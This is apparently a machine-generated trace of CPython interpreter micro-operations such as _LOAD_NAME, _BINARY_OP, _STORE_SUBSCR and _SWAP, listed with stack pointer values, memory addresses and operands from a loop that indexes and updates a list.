65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352048
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352112
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 21 140702510881792 9223372036854775804 2645304352272
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352192
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352256
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352320
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352256
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352320
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352256
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352192
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352048
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352112
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352176
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 22 140702510881792 9223372036854775804 2645304352336
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352256
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352320
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352384
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352320
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352384
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352320
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352256
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352112
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352176
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352240
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 23 140702510881792 9223372036854775804 2645304352400
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352320
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352384
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352448
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352384
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352448
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352384
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352320
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352176
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352240
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352304
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 24 140702510881792 9223372036854775804 2645304352464
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352384
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352448
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352512
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352448
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352512
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352448
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352384
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352240
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352304
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352368
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 25 140702510881792 9223372036854775804 2645304352528
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352448
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352512
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352576
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352512
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352576
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352512
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352448
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352304
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352368
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352432
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 26 140702510881792 9223372036854775804 2645304352592
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352512
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352576
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352640
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352576
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352640
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352576
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352512
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352368
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352432
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352496
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 27 140702510881792 9223372036854775804 2645304352656
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352640
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352704
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352640
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304352704
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352640
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352576
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352432
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352496
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352560
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 28 140702510881792 9223372036854775804 2645304352720
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352640
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304352704
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 127
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304352704
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 127
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304352704
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352640
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352496
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352560
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352624
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 29 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352704
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361312
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 127
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304361312
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 127
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304352704
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304352560
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304352624
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352688
65535 _LOAD_CONST sp=65535 0 2 9223372036854775804 2645304350576
65535 _STORE_NAME sp=65535 2 140702510881992 140702510944352 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
92 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304352752
65535 _LOAD_NAME sp=65535 0 140702510881680 1 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 0 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361392
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 0 140702510881776 9223372036854775804 2645304361392
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304361392
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361456
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304361392
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361312
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304361376
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 1 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361520
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 1 140702510881776 9223372036854775804 2645304361520
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304361520
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361584
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304361520
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361440
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304361504
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 2 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361648
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 2 140702510881776 9223372036854775804 2645304361648
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304361648
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361712
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304361648
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361568
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304361632
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 3 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361776
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 3 140702510881776 9223372036854775804 2645304361776
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304361776
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361840
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304361776
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361696
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304361760
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 4 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361904
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 4 140702510881776 9223372036854775804 2645304361904
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304361904
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304361968
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304361904
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361824
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304361888
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 5 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362032
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 5 140702510881776 9223372036854775804 2645304362032
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362032
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362096
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362032
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304361952
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362016
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 6 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362160
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 6 140702510881776 9223372036854775804 2645304362160
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362160
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362224
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362160
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362080
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362144
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 7 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362288
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 7 140702510881776 9223372036854775804 2645304362288
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362288
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362352
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362288
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362208
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362272
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 8 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
